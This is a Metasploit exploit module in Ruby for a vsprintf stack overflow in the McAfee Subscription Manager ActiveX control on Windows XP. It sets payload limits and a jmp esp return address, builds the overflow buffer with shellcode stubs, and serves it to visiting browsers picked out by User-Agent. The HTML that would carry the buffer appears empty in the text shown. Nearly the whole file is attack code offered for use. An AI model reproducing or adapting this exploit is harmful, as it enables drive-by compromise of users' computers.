require 'msf/core' module Msf class Exploits::Windows::Browser::McAfeeMcSubMgrVsprintf < Msf::Exploit::Remote include Exploit::Remote::HttpServer::Html def initialize(info = {}) super(update_info(info, 'Name' => 'McAfee Subscription Manager Stack Overflow', 'Description' => %q{ This module exploits a flaw in the McAfee Subscription Manager ActiveX control. Due to an unsafe use of vsprintf, it is possible to trigger a stack overflow by passing a large string to one of the COM-exposed routines, such as IsAppExpired. This vulnerability was discovered by Karl Lynn of eEye. }, 'License' => MSF_LICENSE, 'Author' => [ 'skape', ], 'Version' => '$Revision: 3783 $', 'References' => [ [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html' ] ], 'Payload' => { 'Space' => 1014, 'MaxNops' => 0, 'BadChars' => "\x00\x09\x0a\x0d'\\" + Rex::Text::UpperAlpha + Rex::Text::HighAscii, 'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe, 'EncoderOptions' => { 'BufferOffset' => 0x8 } }, 'Targets' => [ # Target 0: Automatic [ 'Windows XP SP0/SP1', { 'Platform' => 'win', 'Rets' => [ 0x7605122f, # XP SP0/SP1 shell32.dll: jmp esp #0x773f346a # XP SP2 comctl32.dll: jmp esp ] }, ], ], 'DefaultTarget' => 0)) end def autofilter false end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Pick the right target case request['User-Agent'] when /Windows NT 5.1/ ret = target['Rets'][0] else print_error("Unsupported target: #{request['User-Agent']}") cli.send_response(create_response(404, 'File not found')) return end # Build out our overflow buffer buf = Rex::Text.rand_text(2972, payload_badchars) + [ ret ].pack('V') + "\x60" + # pusha "\x6a" + Rex::Text.rand_char(payload_badchars) + # push byte 0x1 "\x6a" + Rex::Text.rand_char(payload_badchars) + # push byte 0x1 "\x6a" + Rex::Text.rand_char(payload_badchars) + # push byte 0x1 "\x61" + # popa p.encoded # Generate random variable names vname = Rex::Text.rand_text_alpha(rand(100) + 1) strname = Rex::Text.rand_text_alpha(rand(100) + 1) # Build out the message content = "" + "" + "" + "" print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, content) end end end